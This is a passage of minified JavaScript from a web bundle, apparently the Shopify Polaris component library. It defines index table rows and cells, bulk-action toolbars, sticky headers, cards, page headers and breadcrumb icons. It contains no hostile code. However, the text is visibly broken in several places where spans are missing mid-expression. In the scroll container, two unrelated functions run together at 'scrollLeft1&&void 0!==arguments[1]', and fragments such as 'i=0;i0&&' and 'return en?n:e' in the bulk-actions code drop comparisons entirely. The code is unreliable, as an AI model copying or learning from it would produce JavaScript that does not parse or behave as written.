e=jt(),t=sd(),n=t.resourceName,a=t.condensed,o=(0,r.useContext)(gd),i=o.itemId,l=o.selected,s=o.onInteraction,u=Xe(hd,a?vd:md),c=a?r.Fragment:Dd;return r.createElement(c,null,r.createElement("div",{className:pd},r.createElement("div",{className:u,onClick:s,onKeyUp:Hd},r.createElement(Id,{id:i,label:e.translate("Polaris.IndexTable.selectItem",{resourceName:n.singular}),labelHidden:!0,checked:l}))))}));function Dd(e){var t=e.children,n=(0,r.useRef)(null),a=(0,r.useCallback)((function(){if(n.current){var e=n.current.getBoundingClientRect().width;Xl("--p-checkbox-offset","".concat(e,"px"),null)}}),[]);(0,r.useEffect)((function(){a()}),[a]),(0,r.useEffect)((function(){if(n.current)return window.addEventListener("resize",a),function(){window.removeEventListener("resize",a)}}),[a]);var o=Xe(nd.TableCell,nd["TableCell-first"]);return r.createElement("td",{className:o,ref:n},t)}function Hd(){}var zd=(0,r.memo)((function(e){var t,n=e.children,a=e.selected,o=e.id,i=e.position,l=e.subdued,s=e.status,u=e.onNavigation,c=function(){var e=(0,r.useContext)(id);if(!e)throw new Error("Missing IndexProvider context");return e}(),d=c.selectable,f=c.selectMode,p=c.condensed,h=ld(),m=rt(!1),v=m.value,g=m.setTrue,b=m.setFalse,y=(0,r.useCallback)((function(e){if(e.stopPropagation(),(!("key"in e)||" "===e.key)&&h){var t=e.nativeEvent.shiftKey?ed.Multi:ed.Single;h(t,!a,o,i)}}),[o,h,i,a]),w=(0,r.useMemo)((function(){return{itemId:o,selected:a,onInteraction:y}}),[o,a,y]),x=(0,r.useRef)(null),E=(0,r.useRef)(!1),S=(0,r.useRef)(null),k=(0,r.useCallback)((function(e){S.current=e;var t=null===e||void 0===e?void 0:e.querySelector("[data-primary-link]");t&&(x.current=t)}),[]),_=Xe(nd.TableRow,d&&p&&nd.condensedRow,a&&nd["TableRow-selected"],l&&nd["TableRow-subdued"],v&&nd["TableRow-hovered"],s&&nd[Je("status",s)],!d&&!x.current&&nd["TableRow-unclickable"]);(d||x.current)&&(t=function(e){if(S.current&&!E.current)if(e.stopPropagation(),e.preventDefault(),x.current&&!f){E.current=!0;var t=e.nativeEvent,n=t.ctrlKey,r=t.metaKey;if(u&&u(o),(n||r)&&x.current instanceof HTMLAnchorElement)return E.current=!1,void window.open(x.current.href,"_blank");x.current.dispatchEvent(new MouseEvent(e.type,e.nativeEvent))}else E.current=!1,y(e)});var C=p?"li":"tr",P=d?r.createElement(Bd,null):null;return r.createElement(gd.Provider,{value:w},r.createElement(bd.Provider,{value:v},r.createElement(C,{key:o,className:_,onMouseEnter:g,onMouseLeave:b,onClick:t,ref:k},P,n)))}));function Ud(e,t){return e?Array.from(e.querySelectorAll(t)):[]}function Wd(e){var t=e.children,n=e.fallback,a=void 0===n?null:n,o=na()?t:a;return r.createElement(r.Fragment,null,o)}var Vd="Polaris-IndexTable-ScrollContainer";function qd(e){var t=e.children,n=e.scrollableContainerRef,a=e.onScroll;(0,r.useEffect)((function(){n.current&&n.current.dispatchEvent(new Event("scroll"))}),[n]);var o=ne((0,r.useState)(yd),2),i=o[0],l=o[1],s=(0,r.useCallback)(E()((function(){if(n.current){var e=n.current.scrollWidth-n.current.offsetWidth,t=n.current.scrollLeft>0,r=n.current.scrollLeft1&&void 0!==arguments[1]?arguments[1]:0,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,a=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,o=e.state.isSticky;(t&&!o||!t&&o)&&(e.adjustPlaceHolderNode(t),e.setState({isSticky:!o}));var i=t?{position:"fixed",top:n,left:r,width:a}:{};e.setState({style:i})},e.adjustPlaceHolderNode=function(t){e.placeHolderNode&&e.stickyNode&&(e.placeHolderNode.style.paddingBottom=t?"".concat(z(e.stickyNode).height,"px"):"0px")},e}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){var e=this.props,t=e.boundingElement,n=e.offset,r=void 0!==n&&n,a=e.disableWhenStacked,o=void 0!==a&&a,i=e.stickyManager;this.stickyNode&&this.placeHolderNode&&i.registerStickyItem({stickyNode:this.stickyNode,placeHolderNode:this.placeHolderNode,handlePositioning:this.handlePositioning,offset:r,boundingElement:t,disableWhenStacked:o})}},{key:"componentWillUnmount",value:function(){var e=this.props.stickyManager;this.stickyNode&&e.unregisterStickyItem(this.stickyNode)}},{key:"render",value:function(){var e=this.state,t=e.style,n=e.isSticky,a=this.props.children,o="function"===typeof a?a(n):a;return r.createElement("div",null,r.createElement("div",{ref:this.setPlaceHolderNode}),r.createElement("div",{ref:this.setStickyNode,style:t},o))}}]),n}(r.Component);function Kd(e){var t=function(){var e=(0,r.useContext)(pe);if(!e)throw new Ve("No StickyManager was provided.");return e}();return r.createElement(Zd,Object.assign({},e,{stickyManager:t}))}var Gd={Group:"Polaris-BulkActions__Group","Group-measuring":"Polaris-BulkActions__Group--measuring","Group-entering":"Polaris-BulkActions__Group--entering","Group-exiting":"Polaris-BulkActions__Group--exiting","Group-entered":"Polaris-BulkActions__Group--entered","Group-exited":"Polaris-BulkActions__Group--exited","Group-smallScreen":"Polaris-BulkActions__Group--smallScreen","Group-largeScreen":"Polaris-BulkActions__Group--largeScreen",ButtonGroupWrapper:"Polaris-BulkActions__ButtonGroupWrapper",BulkActionButton:"Polaris-BulkActions__BulkActionButton",CheckableContainer:"Polaris-BulkActions__CheckableContainer",disabled:"Polaris-BulkActions--disabled",PaginatedSelectAll:"Polaris-BulkActions__PaginatedSelectAll",Slide:"Polaris-BulkActions__Slide","Slide-appear":"Polaris-BulkActions__Slide--appear","Slide-enter":"Polaris-BulkActions__Slide--enter","Slide-exit":"Polaris-BulkActions__Slide--exit","Slide-appearing":"Polaris-BulkActions__Slide--appearing","Slide-entering":"Polaris-BulkActions__Slide--entering"};function $d(e){var t=e.handleMeasurement,n=e.url,a=e.external,o=e.onAction,i=e.content,l=e.disclosure,s=e.accessibilityLabel,u=e.disabled,c=e.indicator,d=(0,r.useRef)(null);return function(e){var t=na(),n=(0,r.useRef)(!1);if(t&&!n.current)n.current=!0,e()}((function(){if(t&&d.current){var e=d.current.getBoundingClientRect().width;t(e)}})),r.createElement("div",{className:Gd.BulkActionButton,ref:d},r.createElement(Ma,{external:a,url:n,"aria-label":s,onClick:o,disabled:u,disclosure:l},i),c&&r.createElement(Io,null))}function Yd(e){var t=e.title,n=e.actions,a=e.isNewBadgeInBadgeActions,o=rt(!1),i=o.value,l=o.toggle;return r.createElement(r.Fragment,null,r.createElement(zr,{active:i,activator:r.createElement($d,{disclosure:!0,onAction:l,content:t,indicator:a}),onClose:l,preferInputActivator:!0},r.createElement(Pa,{items:n,onActionAnyItem:l})))}var Qd="Polaris-CheckableButton",Xd="Polaris-CheckableButton__CheckableButton--measuring",Jd="Polaris-CheckableButton__CheckableButton--plain",ef="Polaris-CheckableButton__CheckableButton--selectMode",tf="Polaris-CheckableButton__CheckableButton--selected",nf="Polaris-CheckableButton__Checkbox",rf="Polaris-CheckableButton__Label",af=(0,r.createContext)({});function of(e){var t=e.accessibilityLabel,n=e.label,a=void 0===n?"":n,o=e.onToggleAll,i=e.selected,l=e.selectMode,s=e.plain,u=e.measuring,c=e.disabled,d=e.smallScreen,f=(0,r.useRef)(null),p=(0,r.useContext)(af).registerCheckableButtons,h="bulkLg";s?h="plain":d&&(h="bulkSm"),(0,r.useEffect)((function(){f.current&&p&&p(h,f.current)}),[h,p]);var m=s?Xe(Qd,Jd):Xe(Qd,l&&ef,i&&tf,u&&Xd);return r.createElement("div",{className:m,onClick:o},r.createElement("div",{className:nf},r.createElement(Id,{label:t,labelHidden:!0,checked:i,disabled:c,onChange:o,ref:f})),r.createElement("span",{className:rf},a))}var lf={appear:Xe(Gd.Slide,Gd["Slide-appear"]),appearActive:Xe(Gd.Slide,Gd["Slide-appearing"]),enter:Xe(Gd.Slide,Gd["Slide-enter"]),enterActive:Xe(Gd.Slide,Gd["Slide-entering"]),exit:Xe(Gd.Slide,Gd["Slide-exit"])},sf=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var a=arguments.length,o=new Array(a),i=0;i0&&e.setState({containerWidth:a})}(n||r)&&e.setState({smallScreenPopoverVisible:!1,largeScreenPopoverVisible:!1})}),50,{trailing:!0}),e.setLargeScreenButtonsNode=function(t){e.largeScreenButtonsNode=t},e.setContainerNode=function(t){e.containerNode=t},e.setMoreActionsNode=function(t){e.moreActionsNode=t},e.setSelectMode=function(t){var n=e.props.onSelectModeToggle;n&&n(t)},e.toggleSmallScreenPopover=function(){e.props.onMoreActionPopoverToggle&&e.props.onMoreActionPopoverToggle(e.state.smallScreenPopoverVisible),e.setState((function(e){return{smallScreenPopoverVisible:!e.smallScreenPopoverVisible}}))},e.toggleLargeScreenPopover=function(){e.props.onMoreActionPopoverToggle&&e.props.onMoreActionPopoverToggle(e.state.largeScreenPopoverVisible),e.setState((function(e){return{largeScreenPopoverVisible:!e.largeScreenPopoverVisible}}))},e.handleMeasurement=function(t){e.state.measuring&&e.promotedActionsWidths.push(t)},e}return(0,f.Z)(n,[{key:"numberOfPromotedActionsToRender",value:function(){var e=this.props.promotedActions,t=this.state,n=t.containerWidth,r=t.measuring;if(!e)return 0;if(n>=this.bulkActionsWidth||r)return e.length;for(var a=!1,o=e.length-1,i=0;!a&&o>=0;){i+=this.promotedActionsWidths[o],n>=this.bulkActionsWidth-i+this.addedMoreActionsWidthForMeasuring?a=!0:o--}return function(e,t,n){return en?n:e}(o,0,e.length)}},{key:"hasActions",value:function(){var e=this.props,t=e.promotedActions,n=e.actions;return Boolean(t&&t.length>0||n&&n.length>0)}},{key:"actionSections",value:function(){var e=this.props.actions;if(e&&0!==e.length)return function(e){var t=e.filter((function(e){return e.items}));return e.length===t.length}(e)?e:function(e){var t=e.filter((function(e){return!e.items}));return e.length===t.length}(e)?[{items:e}]:void 0}},{key:"rolledInPromotedActions",value:function(){var e=this.props.promotedActions,t=this.numberOfPromotedActionsToRender();if(!e||0===e.length||t>=e.length)return[];var n=e.map((function(e){return uf(e)?{items:te(e.actions)}:{items:[e]}}));return n.slice(t)}},{key:"componentDidMount",value:function(){var e=this.props,t=e.actions;e.promotedActions&&!t&&this.moreActionsNode&&(this.addedMoreActionsWidthForMeasuring=this.moreActionsNode.getBoundingClientRect().width),this.bulkActionsWidth=this.largeScreenButtonsNode?this.largeScreenButtonsNode.getBoundingClientRect().width-this.addedMoreActionsWidthForMeasuring:0,this.containerNode&&this.setState({containerWidth:this.containerNode.getBoundingClientRect().width,measuring:!1})}},{key:"render",value:function(){var e=this,t=this.props,n=t.selectMode,a=t.accessibilityLabel,o=t.label,i=void 0===o?"":o,l=t.onToggleAll,s=t.selected,u=t.smallScreen,c=t.disabled,d=t.promotedActions,f=t.paginatedSelectAllText,p=void 0===f?null:f,h=t.paginatedSelectAllAction,m=t.i18n,v=this.actionSections();d&&d.length;var g=this.state,b=g.smallScreenPopoverVisible,y=g.largeScreenPopoverVisible,w=g.measuring,x=h?r.createElement(Ma,{onClick:h.onAction,plain:!0,disabled:c},h.content):null,E=p&&h?r.createElement("span",{"aria-live":"polite"},p):p,S=x||E?r.createElement("div",{className:Gd.PaginatedSelectAll},E," ",x):null,k=r.createElement(Ma,{onClick:this.setSelectMode.bind(this,!1),disabled:c},m.translate("Polaris.Common.cancel")),_=this.numberOfPromotedActionsToRender(),C=this.hasActions()?r.createElement("div",{className:Gd.Popover,ref:this.setMoreActionsNode},r.createElement(zr,{active:b,activator:r.createElement($d,{disclosure:!0,onAction:this.toggleSmallScreenPopover,content:m.translate("Polaris.ResourceList.BulkActions.actionsActivatorLabel"),disabled:c,indicator:this.isNewBadgeInBadgeActions()}),onClose:this.toggleSmallScreenPopover},r.createElement(Pa,{items:d,sections:v,onActionAnyItem:this.toggleSmallScreenPopover}))):null,P=d&&_>0?te(d).slice(0,_).map((function(t,n){return uf(t)?r.createElement(Yd,Object.assign({key:n},t,{isNewBadgeInBadgeActions:e.isNewBadgeInBadgeActions()})):r.createElement($d,Object.assign({key:n,disabled:c},t,{handleMeasurement:e.handleMeasurement}))})):null,N=this.rolledInPromotedActions(),T=!d||d&&0===_&&!w?m.translate("Polaris.ResourceList.BulkActions.actionsActivatorLabel"):m.translate("Polaris.ResourceList.BulkActions.moreActionsActivatorLabel"),A=[];v&&N.length>0?A=[].concat(te(N),te(v)):v?A=v:N.length>0&&(A=te(N));var M=v||N.length>0||w?r.createElement("div",{className:Gd.Popover,ref:this.setMoreActionsNode},r.createElement(zr,{active:y,activator:r.createElement($d,{disclosure:!0,onAction:this.toggleLargeScreenPopover,content:T,disabled:c,indicator:this.isNewBadgeInBadgeActions()}),onClose:this.toggleLargeScreenPopover},r.createElement(Pa,{sections:A,onActionAnyItem:this.toggleLargeScreenPopover}))):null,L={accessibilityLabel:a,label:i,selected:s,selectMode:n,onToggleAll:l,measuring:w,disabled:c},O=u?r.createElement(di,{timeout:0,in:n,key:"smallGroup",nodeRef:this.smallScreenGroupNode},(function(t){var a=Xe(Gd.Group,Gd["Group-smallScreen"],Gd["Group-".concat(t)]);return r.createElement("div",{className:a,ref:e.smallScreenGroupNode},r.createElement("div",{className:Gd.ButtonGroupWrapper},r.createElement(tl,{segmented:!0},r.createElement(mi,{nodeRef:e.checkableWrapperNode,in:n,timeout:200,classNames:lf,appear:!n},r.createElement("div",{className:Gd.CheckableContainer,ref:e.checkableWrapperNode},r.createElement(of,Object.assign({},L,{smallScreen:!0})))),C,k)),S)})):null,F=P||M?r.createElement(tl,{segmented:!0},r.createElement(of,L),P,M):r.createElement(of,L),I=u?null:r.createElement(di,{timeout:0,in:n,key:"largeGroup",nodeRef:this.largeScreenGroupNode},(function(t){var n=Xe(Gd.Group,Gd["Group-largeScreen"],!w&&Gd["Group-".concat(t)],w&&Gd["Group-measuring"]);return r.createElement("div",{className:n,ref:e.largeScreenGroupNode},r.createElement(Te,{event:"resize",handler:e.handleResize}),r.createElement("div",{className:Gd.ButtonGroupWrapper,ref:e.setLargeScreenButtonsNode},F),S)}));return r.createElement("div",{ref:this.setContainerNode},O,I)}},{key:"isNewBadgeInBadgeActions",value:function(){var e=this.actionSections();if(!e)return!1;var t,n=(0,Sn.Z)(e);try{for(n.s();!(t=n.n()).done;){var r,a=t.value,o=(0,Sn.Z)(a.items);try{for(o.s();!(r=o.n()).done;){var i;if("new"===(null===(i=r.value.badge)||void 0===i?void 0:i.status))return!0}}catch(l){o.e(l)}finally{o.f()}}}catch(l){n.e(l)}finally{n.f()}return!1}}]),n}(r.PureComponent);function uf(e){return"title"in e}function cf(e){var t=jt();return r.createElement(sf,Object.assign({},e,{i18n:t}))}var df=["children","selectable","itemCount","selectedItemsCount","resourceName","loading","hasMoreItems","condensed","onSelectionChange"],ff=1e3/60;function pf(e){var t=e.headings,n=e.bulkActions,a=void 0===n?[]:n,o=e.promotedBulkActions,i=void 0===o?[]:o,l=e.children,s=e.emptyState,u=e.sort,c=e.lastColumnSticky,d=void 0!==c&&c,f=sd(),p=f.loading,h=f.bulkSelectState,m=f.resourceName,v=f.bulkActionsAccessibilityLabel,g=f.selectable,b=f.selectMode,y=f.paginatedSelectAllText,w=f.itemCount,x=f.hasMoreItems,k=f.selectedItemsCount,_=f.condensed,C=ld(),P=jt(),N=rt(!1),T=N.value,A=N.toggle,M=(0,r.useRef)({top:0,left:0}),L=(0,r.useRef)([]),O=(0,r.useRef)(null),F=(0,r.useRef)(null),I=(0,r.useRef)(null),j=ne((0,r.useState)(!1),2),R=j[0],B=j[1],D=ne((0,r.useState)(!1),2),H=D[0],z=D[1],U=ne((0,r.useState)(null),2),W=U[0],V=U[1],q=(0,r.useRef)([]),Z=(0,r.useRef)([]),K=(0,r.useRef)(null),G=(0,r.useRef)(null),$=(0,r.useRef)(null),Y=(0,r.useRef)(null),Q=(0,r.useRef)(!1),X=(0,r.useRef)(!1),J=(0,r.useCallback)((function(e){null===e||R||B(!0)}),[R]),ee=(0,r.useCallback)((function(){z((function(e){return!e}))}),[]),te=(0,r.useCallback)((function(){C(k===rd?ed.Page:ed.All,!0)}),[C,k]),re=(0,r.useCallback)((function(){return g?_?L.current[0].offsetWidth:L.current[0].offsetWidth+L.current[1].offsetWidth:L.current[0].offsetWidth}),[_,g]),ae=(0,r.useMemo)((function(){return E()((function(){if(F.current&&O.current){var e=O.current.getBoundingClientRect();if(M.current={top:e.top,left:e.left},L.current=q.current.map((function(e){return{offsetWidth:e.offsetWidth||0,offsetLeft:e.offsetLeft||0}})),0!==q.current.length){if(g&&q.current.length>1&&(q.current[1].style.left="".concat(L.current[0].offsetWidth,"px")),g&&null!==G&&void 0!==G&&G.current){var t=getComputedStyle(q.current[0]),n=q.current[0].offsetWidth;G.current.style.minWidth="calc(".concat(n,"px - ").concat(t.paddingLeft," - ").concat(t.paddingRight," + 2px)")}Z.current.forEach((function(e,t){var n=0;if(0!==t||hf()&&g){if(g&&L.current.length>t){var r;n=(null===(r=L.current[t])||void 0===r?void 0:r.offsetWidth)||0}else if(!g&&L.current.length>=t){var a;n=(null===(a=L.current[t-1])||void 0===a?void 0:a.offsetWidth)||0}}else n=re();e.style.minWidth="".concat(n,"px")}))}}}),ff,{leading:!0,trailing:!0,maxWait:ff})}),[re,g]),oe=(0,r.useCallback)((function(){Y.current&&F.current&&R&&Y.current.style.setProperty("--p-scroll-bar-content-width","".concat(F.current.offsetWidth-4,"px"))}),[R]),ie=(0,r.useCallback)(E()(oe,300,{trailing:!0}),[oe]),le=ne((0,r.useState)(!0),2),se=le[0],ue=le[1],ce=(0,r.useCallback)((function(){if(d&&F.current&&O.current){var e=F.current.getBoundingClientRect(),t=O.current.getBoundingClientRect();ue(e.width>t.width)}}),[d]);(0,r.useEffect)((function(){ce()}),[ce]);var de=(0,r.useCallback)((function(){var e;null===(e=Y.current)||void 0===e||e.style.setProperty("--p-scroll-bar-content-width","0px"),ae(),ie(),ce()}),[ie,ae,ce]),fe=(0,r.useCallback)((function(e,t){O.current&&Y.current&&(Q.current||(X.current=!0,Y.current.scrollLeft=O.current.scrollLeft),Q.current=!1,$.current&&($.current.scrollLeft=O.current.scrollLeft),(e&&!T||!e&&T)&&A(),ue(t))}),[T,A]),pe=(0,r.useCallback)((function(){O.current&&Y.current&&(X.current||(Q.current=!0,O.current.scrollLeft=Y.current.scrollLeft),X.current=!1)}),[]);(0,r.useEffect)((function(){q.current=Ud(F.current,"[data-index-table-heading]"),Z.current=Ud(K.current,"[data-index-table-sticky-heading]"),ae()}),[t,ae,G,R]),(0,r.useEffect)((function(){oe(),V(_?I.current:F.current)}),[R,oe,_]),(0,r.useEffect)((function(){!_&&H&&z(!1)}),[_,H]);var he=Boolean(i&&i.length>0||a&&a.length>0),me=t.map((function(e,n){var a=0===n,o=n===t.length-1,i=Xe(nd.TableHeading,a&&nd["TableHeading-second"],o&&!e.hidden&&nd["TableHeading-last"],!g&&nd["TableHeading-unselectable"]),l=!1!==g&&a&&L.current&&L.current.length>0?{left:L.current[0].offsetWidth}:void 0,s=r.createElement("th",{className:i,key:e.title,"data-index-table-heading":!0,style:l},Be(e));if(0!==n||!g)return s;var u=Xe(nd.TableHeading,0===n&&nd["TableHeading-first"]);return[r.createElement("th",{className:u,key:"".concat(e,"-").concat(n),"data-index-table-heading":!0},Re()),s]})).reduce((function(e,t){return e.concat(t)}),[]),ve=Boolean(i.length>0||a.length>0),ge=L.current&&L.current.length>0?{minWidth:re()}:void 0,be=r.createElement("div",{className:nd.TableHeading,key:t[0].title,style:ge,"data-index-table-sticky-heading":!0},r.createElement(Vr,{spacing:"none",wrap:!1,alignment:"center"},g&&r.createElement("div",{className:nd.FirstStickyHeaderElement,ref:G},Re()),g&&r.createElement("div",{className:nd["StickyTableHeading-second-scrolling"]},Be(t[0])),!g&&r.createElement("div",{className:nd.FirstStickyHeaderElement,ref:G},Be(t[0])))),ye=t.map((function(e,t){var n=t+1,a=L.current&&L.current.length>n?{minWidth:L.current[n].offsetWidth}:void 0,o=Be(e),i=Xe(nd.TableHeading,0===t&&nd["StickyTableHeading-second"],0===t&&!g&&nd.unselectable);return r.createElement("div",{className:i,key:e.title,style:a,"data-index-table-sticky-heading":!0},o)})),we=k===rd?"".concat(w,"+"):k,xe=(0,r.useCallback)((function(){C(ed.Page,Boolean(!h||"indeterminate"===h))}),[h,C]),Ee=function(){if(!g||!he||!x)return;return{content:k===rd?P.translate("Polaris.IndexTable.undo"):P.translate("Polaris.IndexTable.selectAllItems",{itemsLength:w,resourceNamePlural:m.plural.toLocaleLowerCase()}),onAction:te}}(),Se={enter:nd["LoadingContainer-enter"],enterActive:nd["LoadingContainer-enter-active"],exit:nd["LoadingContainer-exit"],exitActive:nd["LoadingContainer-exit-active"]},ke=r.createElement(mi,{in:p,classNames:Se,timeout:S,appear:!0,unmountOnExit:!0},r.createElement("div",{className:nd.LoadingPanel},r.createElement("div",{className:nd.LoadingPanelRow},r.createElement(aa,{size:"small"}),r.createElement("span",{className:nd.LoadingPanelText},P.translate("Polaris.IndexTable.resourceLoadingAccessibilityLabel",{resourceNamePlural:m.plural.toLocaleLowerCase()}))))),_e=Xe(nd.StickyTable,_&&nd["StickyTable-condensed"]),Ce=ve&&k||H,Pe=r.createElement("div",{className:_e,role:"presentation"},r.createElement(Kd,{boundingElement:W},(function(e){var t=Xe(nd.StickyTableHeader,e&&nd["StickyTableHeader-isSticky"]),n=Xe(nd.BulkActionsWrapper,_&&nd["StickyTableHeader-condensed"],e&&nd["StickyTableHeader-isSticky"]),o=!_||k,l=o?i:[],s=o?a:[],c=Ce?r.createElement("div",{className:n,"data-condensed":_},ke,r.createElement(cf,{smallScreen:_,label:P.translate("Polaris.IndexTable.selected",{selectedItemsCount:we}),accessibilityLabel:v,selected:h,selectMode:b||H,onToggleAll:xe,promotedActions:l,actions:s,paginatedSelectAllText:y,paginatedSelectAllAction:Ee,onSelectModeToggle:_?He:void 0})):null,d=Xe(nd.StickyTableColumnHeader,T&&nd["StickyTableColumnHeader-isScrolling"]),f=r.createElement(Ma,{icon:td,onClick:ee},P.translate("Polaris.IndexTable.selectButtonText")),p=_?r.createElement("div",{className:Xe(nd.HeaderWrapper,!g&&nd.unselectable)},ke,u,g&&f):r.createElement("div",{className:t,ref:K},ke,r.createElement("div",{className:d},be),r.createElement("div",{className:nd.StickyTableHeadings,ref:$},ye));return c||p}))),Ne=Xe(nd.ScrollBarContainer,_&&nd.scrollBarContainerCondensed),Ae=Xe(F.current&&R&&nd.ScrollBarContent),Me=w>0?r.createElement(Wd,null,r.createElement("div",{className:Ne},r.createElement("div",{onScroll:pe,className:nd.ScrollBar,ref:Y},r.createElement("div",{className:Ae})))):null,Le=Xe(nd.Table,T&&nd["Table-scrolling"],b&&nd.disableTextSelection,b&&Ce&&nd.selectMode,!g&&nd["Table-unselectable"],d&&nd["Table-sticky-last"],d&&se&&nd["Table-sticky-scrolling"]),Oe=s||r.createElement(Jc,{title:P.translate("Polaris.IndexTable.emptySearchTitle",{resourceNamePlural:m.plural}),description:P.translate("Polaris.IndexTable.emptySearchDescription"),withIllustration:!0}),Fe=r.createElement(r.Fragment,null,r.createElement(Te,{event:"resize",handler:de}),r.createElement(Wd,null,Pe)),Ie=_?r.createElement(r.Fragment,null,Fe,r.createElement("ul",{"data-selectmode":Boolean(b||H),className:nd.CondensedList,ref:I},l)):r.createElement(r.Fragment,null,Fe,r.createElement(qd,{scrollableContainerRef:O,onScroll:fe},r.createElement("table",{ref:F,className:Le},r.createElement("thead",null,r.createElement("tr",{className:nd.HeadingRow},me)),r.createElement("tbody",{ref:J},l)))),je=w>0?Ie:r.createElement("div",{className:nd.EmptySearchResultWrapper},Oe);return r.createElement(r.Fragment,null,r.createElement("div",{className:nd.IndexTable},!Ce&&!_&&ke,je),Me);function Re(){return r.createElement("div",{className:nd.ColumnHeaderCheckboxWrapper},r.createElement(Id,{label:P.translate("Polaris.IndexTable.selectAllLabel",{resourceNamePlural:m.plural}),labelHidden:!0,onChange:De,checked:h}))}function Be(e){return e.new?r.createElement(Vr,{wrap:!1,alignment:"center"},r.createElement("span",null,e.title),r.createElement(En,{status:"new"},P.translate("Polaris.IndexTable.onboardingBadgeText"))):e.hidden?r.createElement(Dt,null,e.title):e.title}function De(e){C(ed.Page,e)}function He(e){C(ed.All,!1),z(e)}}var hf=function(){return"undefined"!==typeof window&&window.innerWidth<458};function mf(e){var t=e.children,n=e.selectable,a=void 0===n||n,o=e.itemCount,i=e.selectedItemsCount,l=void 0===i?0:i,s=e.resourceName,c=e.loading,d=e.hasMoreItems,f=e.condensed,p=e.onSelectionChange,h=u(e,df);return r.createElement(ud,{selectable:a,itemCount:o,selectedItemsCount:l,resourceName:s,loading:c,hasMoreItems:d,condensed:f,onSelectionChange:p},r.createElement(pf,h,t))}mf.Cell=fd,mf.Row=zd;var vf="Polaris-Card",gf="Polaris-Card--subdued",bf="Polaris-Card__Section--hideOnPrint",yf="Polaris-Card--hideOnPrint",wf="Polaris-Card__Header",xf="Polaris-Card__Section",Ef="Polaris-Card__Section--fullWidth",Sf="Polaris-Card__Section--flush",kf="Polaris-Card__Section--subdued",_f="Polaris-Card__SectionHeader",Cf="Polaris-Card__Subsection",Pf="Polaris-Card__Footer",Nf="Polaris-Card__LeftJustified";function Tf(e){var t=e.children,n=e.title,a=e.actions,o=a?r.createElement(tl,null,Qi(a,{plain:!0})):null,i=(0,r.isValidElement)(n)?n:r.createElement($r,null,n),l=o||t?r.createElement(Vr,{alignment:"baseline"},r.createElement(Vr.Item,{fill:!0},i),o,t):i;return r.createElement("div",{className:wf},l)}function Af(e){var t=e.children,n=e.title,a=e.subdued,o=e.flush,i=e.fullWidth,l=e.actions,s=e.hideOnPrint,u=Xe(xf,o&&Sf,a&&kf,i&&Ef,s&&bf),c=l?r.createElement(tl,null,Qi(l,{plain:!0})):null,d="string"===typeof n?r.createElement(au,null,n):n,f=d||c?r.createElement("div",{className:_f},c?r.createElement(Vr,{alignment:"baseline"},r.createElement(Vr.Item,{fill:!0},d),c):d):null;return r.createElement("div",{className:u},f,t)}var Mf=function(e){var t=e.children,n=e.hideOnPrint,a=e.title,o=e.subdued,i=e.sectioned,l=e.actions,s=e.primaryFooterAction,u=e.secondaryFooterActions,c=e.secondaryFooterActionsDisclosureText,d=e.footerActionAlignment,f=void 0===d?"right":d,p=jt(),h=rt(!1),m=h.value,v=h.toggle,g=Xe(vf,o&&gf,n&&yf),b=a||l?r.createElement(Tf,{actions:l,title:a}):null,y=i?r.createElement(Af,null,t):t,w=s?Xi(s,{primary:!0}):null,x=null;u&&u.length&&(x=1===u.length?Xi(u[0]):r.createElement(r.Fragment,null,r.createElement(zr,{active:m,activator:r.createElement(Ma,{disclosure:!0,onClick:v},c||p.translate("Polaris.Common.more")),onClose:v},r.createElement(Pa,{items:u}))));var E=w||x?r.createElement("div",{className:Xe(Pf,"left"===f&&Nf)},"right"===f?r.createElement(tl,null,x,w):r.createElement(tl,null,w,x)):null;return r.createElement(qa.Provider,{value:!0},r.createElement("div",{className:g},b,y,E))};Mf.Header=Tf,Mf.Section=Af,Mf.Subsection=function(e){var t=e.children;return r.createElement("div",{className:Cf},t)};var Lf,Of,Ff="Polaris-Page",If="Polaris-Page--fullWidth",jf="Polaris-Page--narrowWidth",Rf="Polaris-Page__Content",Bf="Polaris-Page--divider",Df="Polaris-Page-Header",Hf="Polaris-Page-Header--titleHidden",zf="Polaris-Page-Header__TitleWrapper",Uf="Polaris-Page-Header__Navigation",Wf="Polaris-Page-Header--hasActionMenu",Vf="Polaris-Page-Header--mobileView",qf="Polaris-Page-Header__BreadcrumbWrapper",Zf="Polaris-Page-Header__PaginationWrapper",Kf="Polaris-Page-Header__AdditionalNavigationWrapper",Gf="Polaris-Page-Header--hasNavigation",$f="Polaris-Page-Header__PrimaryActionWrapper",Yf="Polaris-Page-Header__Row",Qf="Polaris-Page-Header__RightAlign",Xf="Polaris-Page-Header__LeftAlign",Jf="Polaris-Page-Header--noBreadcrumbs",ep="Polaris-Page-Header__AdditionalMetaData",tp="Polaris-Page-Header__Actions",np="Polaris-Page-Header--longTitle",rp="Polaris-Page-Header--mediumTitle",ap="Polaris-Page-Header--isSingleRow",op=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Lf||(Lf=r.createElement("path",{d:"M17 9H5.414l3.293-3.293a.999.999 0 1 0-1.414-1.414l-5 5a.999.999 0 0 0 0 1.414l5 5a.997.997 0 0 0 1.414 0 .999.999 0 0 0 0-1.414L5.414 11H17a1 1 0 1 0 0-2z"})))},ip="Polaris-Breadcrumbs__Breadcrumb",lp="Polaris-Breadcrumbs__Icon";function sp(e){var t=e.breadcrumbs,n=t[t.length-1];if(null==n)return null;var a=n.content,o=r.createElement(r.Fragment,null,r.createElement("span",{className:lp},r.createElement(zt,{source:op})),r.createElement(Dt,null,a)),i="url"in n?r.createElement(sn,{key:a,url:n.url,className:ip,onMouseUp:Pn,"aria-label":n.accessibilityLabel},o):r.createElement("button",{key:a,className:ip,onClick:n.onAction,onMouseUp:Pn,type:"button","aria-label":n.accessibilityLabel},o);return r.createElement("nav",{role:"navigation"},i)}var up,cp,dp=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Of||(Of=r.createElement("path",{d:"M12 16a.997.997 0 0 1-.707-.293l-5-5a.999.999 0 0 1 0-1.414l5-5a.999.999 0 1 1 1.414 1.414L8.414 10l4.293 4.293A.999.999 0 0 1 12 16z"})))},fp=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),up||(up=r.createElement("path",{d:"M8 16a.999.999 0 0 1-.707-1.707L11.586 10 7.293 5.707a.999.999 0 1 1 1.414-1.414l5 5a.999.999 0 0 1 0 1.414l-5 